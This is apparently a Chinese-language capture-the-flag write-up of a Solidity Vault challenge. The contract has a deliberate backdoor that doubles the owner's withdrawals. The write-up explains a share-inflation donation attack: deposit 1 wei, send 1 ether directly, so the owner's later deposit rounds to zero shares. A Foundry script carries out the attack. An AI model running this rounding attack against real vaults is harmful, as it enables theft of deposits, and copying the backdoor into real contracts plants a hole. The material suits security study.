合约代码：`Vault.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IVault} from "./interfaces/IVault.sol";
import {IERC20} from "openzeppelin-
contracts/contracts/token/ERC20/IERC20.sol";

contract Vault is IVault {
    address public override owner;
    IERC20 public override token;
    mapping(address => uint256) public override shares; //份额
    uint256 public override totalShares;

    constructor(address _token) {
        owner = msg.sender;
        token = IERC20(_token);
    }

    function deposit(uint256 amount) external override {
        require(amount > 0, "Vault: Amount must be greater than 0");

        uint currentBalance = token.balanceOf(address(this));
        uint currentShares = totalShares;

        uint newShares;
        if (currentShares == 0) {
            newShares = amount;
        } else {
            newShares = (amount * currentShares) / currentBalance; //份额计算
公式
        }

        shares[msg.sender] += newShares;
        totalShares += newShares;

        token.transferFrom(msg.sender, address(this), amount);
    }

    function withdraw(uint256 sharesAmount) external override {
        require(sharesAmount > 0, "Vault: Amount must be greater than 0");

        uint currentBalance = token.balanceOf(address(this));
        uint payoutAmount = (sharesAmount * currentBalance) / totalShares;
//取款数值计算

        shares[msg.sender] -= sharesAmount;
        totalShares -= sharesAmount;

        if (msg.sender == owner) {
            payoutAmount *= 2;
        } // 理论上owner可以提2倍的token
```

```
49
50          token.transfer(msg.sender, payoutAmount);
51      }
52  }
```

目标是当owner想要提款跑路的时候，有资金损失。

思路：

1. 让owner的份额等于0，通过查看验证合约发现需要让Vault合约的余额不小于1ether
2. 先通过deposit函数传入1wei，获取份额等于1
3. 再用transfer函数转账1ether，不用deposit函数的原因是，deposit函数会改变份额
4. 当owner再通过deposit函数传入0.1ether时，份额=（0.1ether*1wei）/（1ether+1wei）=0.09999...，向下取整等于0
5. 最后当owner取款的时候造成资金损失

脚本：`Vault_hack.s.sol`

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.8.20;
3
4  import {Script, console} from "forge-std/Script.sol";
5  import {Vault} from "../src/Vault.sol";
6  import {MintableERC20} from "../src/MintableERC20.sol";
7
8  contract POC is Script {
9      MintableERC20 token =
   MintableERC20(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88);
10     Vault vault = Vault(0x91B617B86BE27D57D828540OC5D5bAFA859dAF5F);
11
12     function run() external {
13         vm.startBroadcast();
14
15         token.approve(address(vault), 1);
16         vault.deposit(1);
17         token.transfer(address(vault), 1 ether);
18
19         vm.stopBroadcast();
20     }
21 }
```